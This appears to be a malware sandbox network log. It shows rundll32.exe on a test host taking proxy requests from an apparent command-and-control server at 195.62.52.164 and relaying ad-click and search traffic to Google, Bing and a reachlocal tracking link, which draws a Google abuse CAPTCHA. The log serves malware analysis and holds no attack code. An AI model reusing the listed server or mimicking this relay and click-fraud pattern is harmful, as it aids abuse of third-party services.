3e 0d 0a Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="http://www.google.com/sorry/index?continue=http://www.google.com/&q=EgRmgZjUGP7X16sGIjC2eTkTmqRJus4nVY7rzygMgkXV6GMklQrRaW0TRvVbbEWsegS2r1HsDn59A9I5-F0yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM">here</A>.</BODY></HTML>
Dec 10, 2023 17:49:03.180716991 CET	729	IN	GET http://www.google.com/sorry/index?continue=http://www.google.com/&q=EgRmgZjUGP7X16sGIjC2eTkTmqRJus4nVY7rzygMgkXV6GMklQrRaW0TRvVbbEWsegS2r1HsDn59A9I5-F0yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Connection: Upgrade, HTTP2-Settings Upgrade: h2c HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA Cookie: 1P_JAR=2023-12-10-16; AEC=Ackid1TUsXHZaGtNbDfzLA9mAfbXpaSraxKliPlz-amxEg2oIyHOewBuIw Referer: http://www.google.com/ Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Dec 10, 2023 17:49:03.458467007 CET	3334	OUT	HTTP/1.1 429 Too Many Requests Date: Sun, 10 Dec 2023 16:49:03 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Content-Type: text/html Server: HTTP server (unknown) Content-Length: 3054 X-XSS-Protection: 0 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 3c 74 69 74 6c 65 3e 68 74 74 70 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 70 61 64 64 69 6e 67 3a 32 30 70 78 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 20 6f 76 65 72 73 63 72 6f 6c 6c 2d 62 65 68 61 76 69 6f 72 3a 63 6f 6e 74 61 69 6e 3b 22 20 6f 6e 6c 6f 61 64 3d 22 65 3d 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 27 29 3b 69 66 28 65 29 7b 65 2e 66 6f 63 75 73 28 29 3b 7d 20 69 66 28 73 6f 6c 76 65 53 69 6d 70 6c 65 43 68 61 6c 6c 65 6e 67 65 29 20 7b 73 6f 6c 76 65 53 69 6d 70 6c 65 43 68 61 6c 6c 65 6e 67 65 28 2c 29 3b 7d 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 78 2d 77 69 64 74 68 3a 34 30 30 70 78 3b 22 3e 0a 3c 68 72 20 6e 6f 73 68 61 64 65 20 73 69 7a 65 3d 22 31 22 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 63 63 63 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 63 63 63 3b 22 3e 3c 62 72 3e 0a 3c 66 6f 72 6d 20 69 64 3d 22 63 61 70 74 63 68 61 2d 66 6f 72 6d 22 20 61 63 74 69 6f 6e 3d 22 69 6e 64 65 78 22 20 6d 65 74 68 6f 64 3d 22 70 6f 73 74 22 3e 0a 3c 6e 6f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 22 3e 0a 20 20 49 6e 20 6f 72 64 65 72 20 74 6f 20 63 6f 6e 74 69 6e 75 65 2c 20 70 6c 65 61 73 65 20 65 6e 61 62 6c 65 20 6a 61 76 61 73 63 72 69 70 74 20 6f 6e 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 2e 0a 3c 2f 64 69 76 3e 0a 3c 2f 6e 6f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 72 65 63 61 70 74 63 68 61 2f 61 70 69 2e 6a 73 22 20 61 73 79 6e 63 20 64 65 66 65 72 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 76 61 72 20 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 20 3d 20 66 75 6e 63 74 69 6f 6e 28 72 65 73 70 6f 6e 73 65 29 20 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 27 63 61 70 74 63 68 61 2d 66 6f 72 6d 27 29 2e 73 75 62 6d 69 74 28 29 3b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 64 69 76 20 69 64 3d 22 72 65 63 61 70 74 63 68 61 22 20 63 6c 61 73 73 3d 22 67 2d 72 65 63 61 70 74 63 68 61 22 20 64 61 74 61 2d 73 69 74 65 6b 65 79 3d 22 36 4c 66 77 75 79 55 54 41 41 41 41 41 4f 41 6d 6f 53 30 66 64 71 69 6a 43 32 50 62 62 64 48 34 6b 6a 71 36 32 59 31 62 22 20 64 61 74 61 2d 63 61 6c 6c 62 61 63 6b 3d 22 73 75 62 6d 69 74 43 61 6c 6c 62 61 63 6b 22 20 64 61 74 61 2d 73 3d 22 4a 5a 51 71 74 54 32 78 78 63 67 47 33 64 51 30 64 48 37 4c 31 31 55 55 42 78 75 63 6c 5a 31 76 41 76 62 66 33 57 34 51 69 61 4b 52 6e 6c 52 4b 58 36 79 32 58 6f 65 6c 79 53 6b 41 4c 71 51 56 6a 6d 34 58 6f 67 6d 33 70 50 58 41 54 42 4e 65 77 6e 75 44 43 33 32 65 67 4e 52 4f 50 4c 77 69 45 5a 73 4e 57 49 72 34 78 55 34 76 74 43 44 58 48 49 77 70 36 71 77 4d 75 42 4b 67 38 5a 71 43 6f 7a 5f 42 6c 55 67 38 36 37 6f 70 5a 63 70 67 37 6e 69 6c 6d 77 45 57 68 43 55 31 42 4a 55 58 35 6e 69 33 62 5f 46 4b 68 56 54 77 4c 72 35 52 72 79 52 6d 4a 79 62 4f 39 42 50 52 79 43 37 35 57 35 56 48 6f 76 68 33 56 63 74 48 76 4e 4f 36 42 73 65 51 49 76 6c 4f 34 67 33 61 7a 58 7a 2d 66 4f 53 43 6b 35 5f 4d 62 66 30 4b 6e 56 65 4e 66 47 73 5a 55 70 62 39 4e 7a 42 5a 36 33 64 47 39 44 79 33 31 4f Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"><html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="viewport" content="initial-scale=1"><title>http://www.google.com/</title></head><body style="font-family: arial, sans-serif; background-color: #fff; color: #000; padding:20px; font-size:18px; overscroll-behavior:contain;" onload="e=document.getElementById('captcha');if(e){e.focus();} if(solveSimpleChallenge) {solveSimpleChallenge(,);}"><div style="max-width:400px;"><hr noshade size="1" style="color:#ccc; background-color:#ccc;"><br><form id="captcha-form" action="index" method="post"><noscript><div style="font-size:13px;"> In order to continue, please enable javascript on your web browser.</div></noscript><script src="https://www.google.com/recaptcha/api.js" async defer></script><script>var submitCallback = function(response) {document.getElementById('captcha-form').submit();};</script><div id="recaptcha" class="g-recaptcha" data-sitekey="6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b" data-callback="submitCallback" data-s="JZQqtT2xxcgG3dQ0dH7L11UUBxuclZ1vAvbf3W4QiaKRnlRKX6y2XoelySkALqQVjm4Xogm3pPXATBNewnuDC32egNROPLwiEZsNWIr4xU4vtCDXHIwp6qwMuBKg8ZqCoz_BlUg867opZcpg7nilmwEWhCU1BJUX5ni3b_FKhVTwLr5RryRmJybO9BPRyC75W5VHovh3VctHvNO6BseQIvlO4g3azXz-fOSCk5_Mbf0KnVeNfGsZUpb9NzBZ63dG9Dy31OV7Udl1Ch1fzEx2Vb0eW0eHnv0"></div><input type='hidden' name='q' value='EgRmgZjUGP7X16sGIjC2eTkTmqRJus4nVY7rzygMgkXV6GMklQrRaW0TRvVbbEWsegS2r1HsDn59A9I5-F0yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM'><input type="hidden" name="continue" value="http://www.google.com/"></form><hr noshade size="1" style="color:#ccc; background-color:#ccc;"><div style="font-size:13px;"><b>About this page</b><br><br>This network is blocked due to unaddressed abuse complaints about malicious behavior. This page checks to see if it's really a human sending the requests and not a robot coming from this network. <br><br><div id="infoDiv" style="display:none; background-color:#eee; padding:10px; margin:0 0 15px 0; line-height:1.4em;">This page appears when Google automatically detects requests coming from your computer network which appear to be in violation of the <a href="//www.google.com/policies/terms/">Terms of Service</a>. The block will expire shortly after those requests stop. In the meantime, solving the above CAPTCHA will let you continue to use our services.<br><br>This traffic may have been sent by malicious software, a browser plug-in, or a script that sends automated requests. If you share your network connection, ask your administrator for help — a different computer using the same IP address may be responsible. <a href="//support.google.com/websearch/answer/86640">Learn more</a><br><br>Sometimes you may be asked to solve the CAPTCHA if you are using advanced terms that robots are known to use, or sending requests very quickly.</div>IP address: 102.129.152.212<br>Time: 2023-12-10T16:49:03Z<br>URL: http://www.google.com/<br></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49808	142.250.217.196	80	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:01.686341047 CET	405	OUT	GET /ncr HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Connection: Keep-Alive Connection: Upgrade, HTTP2-Settings Upgrade: h2c HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Dec 10, 2023 17:49:01.843771935 CET	1286	IN	HTTP/1.1 302 Found Location: http://www.google.com/ Cache-Control: private Content-Type: text/html; charset=UTF-8 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-oIYQ-FM0P7cn83y94YDupQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZX0= Date: Sun, 10 Dec 2023 16:49:01 GMT Server: gws Content-Length: 219 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Set-Cookie: 1P_JAR=2023-12-10-16; expires=Tue, 09-Jan-2024 16:49:01 GMT; path=/; Data Raw: Data Ascii:
Dec 10, 2023 17:49:01.843822002 CET	263	IN	Data Raw: 6f 6d 61 69 6e 3d 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 6e 6f 6e 65 0d 0a 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d Data Ascii: omain=.google.com; Secure; SameSite=none<HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="http://www.google.com/">here</A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49810	142.250.217.196	80	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:02.319186926 CET	468	OUT	GET / HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Connection: Keep-Alive Connection: Upgrade, HTTP2-Settings Upgrade: h2c HTTP2-Settings: AAMAAABkAAQCAAAAAAIAAAAA Cookie: 1P_JAR=2023-12-10-16 Referer: http://www.google.com/ncr Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Dec 10, 2023 17:49:02.833745956 CET	1286	IN	HTTP/1.1 302 Found Location: http://www.google.com/sorry/index?continue=http://www.google.com/&q=EgRmgZjUGP7X16sGIjC2eTkTmqRJus4nVY7rzygMgkXV6GMklQrRaW0TRvVbbEWsegS2r1HsDn59A9I5-F0yAXJKGVNPUlJZX0FCVVNJVkVfTkVUX01FU1NBR0VaAUM x-hallmonitor-challenge: CgwI_tfXqwYQmLjS4QISBGaBmNQ Content-Type: text/html; charset=UTF-8 Content-Security-Policy-Report-Only: object-src 'none';base-uri 'self';script-src 'nonce-6uY1wofMzO6V7nP8G8RDcw' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/other-hp Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/other"}]} Permissions-Policy: unload=() Origin-Trial: Ap+qNlnLzJDKSmEHjzM5ilaa908GuehlLqGb6ezME5lkhelj20qVzfv06zPmQ3LodoeujZuphAolrnhnPA8w4AIAAABfeyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJQZXJtaXNzaW9uc1BvbGljeVVubG9hZCIsImV4cGlyeSI6MTY4NTY2Mzk5OX0= Origin-Trial: AvudrjMZqL7335p1KLV2lHo1kxdMeIN0dUI15d0CPz9dovVLCcXk8OAqjho1DX4s6NbHbA/AGobuGvcZv0drGgQAAAB9eyJvcmlnaW4iOiJodHRwczovL3d3dy5nb29nbGUuY29tOjQ0MyIsImZlYXR1cmUiOiJCYWNrRm9yd2FyZENhY2hlTm90UmVzdG9yZWRSZWFzb25zIiwiZXhwaXJ5IjoxNjkxNTM5MTk5LCJpc1N1YmRvbW Data Raw: Data Ascii:
Dec 10, 2023 17:49:02.833776951 CET	833	IN	Data Raw: 70 62 69 49 36 64 48 4a 31 5a 58 30 3d 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 30 32 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 67 77 73 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 Data Ascii: pbiI6dHJ1ZX0=Date: Sun, 10 Dec 2023 16:49:02 GMTServer: gwsContent-Length: 396X-XSS-Protection: 0X-Frame-Options: SAMEORIGINSet-Cookie: 1P_JAR=2023-12-10-16; expires=Tue, 09-Jan-2024 16:49:02 GMT; path=/; domain=.google.com; Secure

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49809	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:02.344494104 CET	732	IN	GET http://derickdermatology.reachlocal.com/?scid=975940&kw=188&pub_cr_id=681916492043&device=c&network=g&targetid=kwd-11411861&loc_interest_ms=&loc_physical_ms=1016280&tc=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&rl_key=41b9b056dc46d060686ac0e3dc0e8ec4&rl_redir=https%3A%2F%2Fderickdermatology.com%2Fcosmetic%2Fbotox%2F&rl_redir=https%3A%2F%2Fderickdermatology.com%2Fcosmetic%2Fbotox%2F HTTP/1.1 Host: derickdermatology.reachlocal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54 Accept-Encoding: gzip, deflate Proxy-Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Dec 10, 2023 17:49:03.069169044 CET	1871	OUT	HTTP/1.1 302 Found Server: nginx Date: Sun, 10 Dec 2023 16:49:02 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 730 Connection: keep-alive Set-Cookie: RlocalUID=scid%3D975940%26cid%3D4328601%26tc%3DEAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE%26kw%3D188%26pub_cr_id%3D681916492043; domain=.reachlocal.com; path=/ Set-Cookie: RlocalHilite=kw_hilite_off%3D0; domain=.reachlocal.com; path=/ Set-Cookie: RlocalTiming=landing_loadtime_off%3D0%26retarget_off%3D0; domain=.reachlocal.com; path=/ Location: https://derickdermatology.com/cosmetic/botox/?utm_source=rl&utm_medium=cpc&utm_campaign=main&scid=975940&cid=4328601&tc=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&rl_key=a51c04e02e42348f326e61d8d041fff1&kw=188&pub_cr_id=681916492043&dynamic_proxy=1&primary_serv=derickdermatology.com&device=c&network=g&targetid=kwd-11411861&loc_physical_ms=1016280&rl_retarget=1&rl_track_landing_pages=1 X-XSS-Protection: 0 X-Robots-Tag: noindex,nofollow Set-Cookie: NSC_JOducdkkepdckm4bwm2ulvbm3dzdccq=ffffffff09b4181d45525d5f4f58455e445a4a4229a0;expires=Sun, 10-Dec-2023 17:19:02 GMT;path=/;httponly Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 65 72 69 63 6b 64 65 72 6d 61 74 6f 6c 6f 67 79 2e 63 6f 6d 2f 63 6f 73 6d 65 74 69 63 2f 62 6f 74 6f 78 2f 3f 75 74 6d 5f 73 6f 75 72 63 65 3d 72 6c 26 61 6d 70 3b 75 74 6d 5f 6d 65 64 69 75 6d 3d 63 70 63 26 61 6d 70 3b 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 6d 61 69 6e 26 61 6d 70 3b 73 63 69 64 3d 39 37 35 39 34 30 26 61 6d 70 3b 63 69 64 3d 34 33 32 38 36 30 31 26 61 6d 70 3b 74 63 3d 45 41 49 61 49 51 6f 62 43 68 4d 49 6a 71 32 31 38 36 69 46 67 77 4d 56 68 78 6d 69 41 78 33 46 59 41 61 74 45 41 41 59 41 79 41 41 45 67 49 33 55 76 44 5f 42 77 45 26 61 6d 70 3b 72 6c 5f 6b 65 79 3d 61 35 31 63 30 34 65 30 32 65 34 32 33 34 38 66 33 32 36 65 36 31 64 38 64 30 34 31 66 66 66 31 26 61 6d 70 3b 6b 77 3d 31 38 38 26 61 6d 70 3b 70 75 62 5f 63 72 5f 69 64 3d 36 38 31 39 31 36 34 39 32 30 34 33 26 61 6d 70 3b 64 79 6e 61 6d 69 63 5f 70 72 6f 78 79 3d 31 26 61 6d 70 3b 70 72 69 6d 61 72 79 5f 73 65 72 76 3d 64 65 72 69 63 6b 64 65 72 6d 61 74 6f 6c 6f 67 79 2e 63 6f 6d 26 61 6d 70 3b 64 65 76 69 63 65 3d 63 26 61 6d 70 3b 6e 65 74 77 6f 72 6b 3d 67 26 61 6d 70 3b 74 61 72 67 65 74 69 64 3d 6b 77 64 2d 31 31 34 31 31 38 36 31 26 61 6d 70 3b 6c 6f 63 5f 70 68 79 73 69 63 61 6c 5f 6d 73 3d 31 30 31 36 32 38 30 26 61 6d 70 3b 72 6c 5f 72 65 74 61 72 67 65 74 3d 31 26 61 6d 70 3b 72 6c 5f 74 72 61 63 6b 5f 6c 61 6e 64 69 6e 67 5f 70 61 67 65 73 3d 31 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 64 65 72 69 63 6b 64 65 72 6d 61 74 6f 6c 6f 67 79 2e 72 65 61 63 68 6c 6f 63 61 6c 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://derickdermatology.com/cosmetic/botox/?utm_source=rl&utm_medium=cpc&utm_campaign=main&scid=975940&cid=4328601&tc=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&rl_key=a51c04e02e42348f326e61d8d041fff1&kw=188&pub_cr_id=681916492043&dynamic_proxy=1&primary_serv=derickdermatology.com&device=c&network=g&targetid=kwd-11411861&loc_physical_ms=1016280&rl_retarget=1&rl_track_landing_pages=1">here</a>.</p><hr><address>Apache Server at derickdermatology.reachlocal.com Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49813	209.97.16.14	80	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:02.851845026 CET	687	OUT	GET /?scid=975940&kw=188&pub_cr_id=681916492043&device=c&network=g&targetid=kwd-11411861&loc_interest_ms=&loc_physical_ms=1016280&tc=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&rl_key=41b9b056dc46d060686ac0e3dc0e8ec4&rl_redir=https%3A%2F%2Fderickdermatology.com%2Fcosmetic%2Fbotox%2F&rl_redir=https%3A%2F%2Fderickdermatology.com%2Fcosmetic%2Fbotox%2F HTTP/1.1 Host: derickdermatology.reachlocal.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54 Accept-Encoding: gzip, deflate Connection: Keep-Alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Dec 10, 2023 17:49:03.068938971 CET	1141	IN	HTTP/1.1 302 Found Server: nginx Date: Sun, 10 Dec 2023 16:49:02 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 730 Connection: keep-alive Set-Cookie: RlocalUID=scid%3D975940%26cid%3D4328601%26tc%3DEAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE%26kw%3D188%26pub_cr_id%3D681916492043; domain=.reachlocal.com; path=/ Set-Cookie: RlocalHilite=kw_hilite_off%3D0; domain=.reachlocal.com; path=/ Set-Cookie: RlocalTiming=landing_loadtime_off%3D0%26retarget_off%3D0; domain=.reachlocal.com; path=/ Location: https://derickdermatology.com/cosmetic/botox/?utm_source=rl&utm_medium=cpc&utm_campaign=main&scid=975940&cid=4328601&tc=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&rl_key=a51c04e02e42348f326e61d8d041fff1&kw=188&pub_cr_id=681916492043&dynamic_proxy=1&primary_serv=derickdermatology.com&device=c&network=g&targetid=kwd-11411861&loc_physical_ms=1016280&rl_retarget=1&rl_track_landing_pages=1 X-XSS-Protection: 0 X-Robots-Tag: noindex,nofollow Set-Cookie: NSC_JOducdkkepdckm4bwm2ulvbm3dzdccq=ffffffff09b4181d45525d5f4f58455e445a4a4229a0;expires=Sun, 10-Dec-2023 17:19:02 GMT;path=/;httponly
Dec 10, 2023 17:49:03.068969965 CET	259	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://derickdermatology.com/cosmetic/botox/?utm_source=rl&utm_medium=cpc&utm_cam
Dec 10, 2023 17:49:03.068989992 CET	471	IN	Data Raw: 63 69 64 3d 39 37 35 39 34 30 26 61 6d 70 3b 63 69 64 3d 34 33 32 38 36 30 31 26 61 6d 70 3b 74 63 3d 45 41 49 61 49 51 6f 62 43 68 4d 49 6a 71 32 31 38 36 69 46 67 77 4d 56 68 78 6d 69 41 78 33 46 59 41 61 74 45 41 41 59 41 79 41 41 45 67 49 33 Data Ascii: cid=975940&cid=4328601&tc=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&rl_key=a51c04e02e42348f326e61d8d041fff1&kw=188&pub_cr_id=681916492043&dynamic_proxy=1&primary_serv=derickdermatology.com&device=c

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49812	195.62.52.164	1002	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
Dec 10, 2023 17:49:03.095462084 CET	175	IN	CONNECT www.bing.com:443 HTTP/1.1 Host: www.bing.com:443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0 Proxy-Connection: Keep-Alive
Dec 10, 2023 17:49:03.224307060 CET	19	OUT	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.6	49815	142.250.217.196	80	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
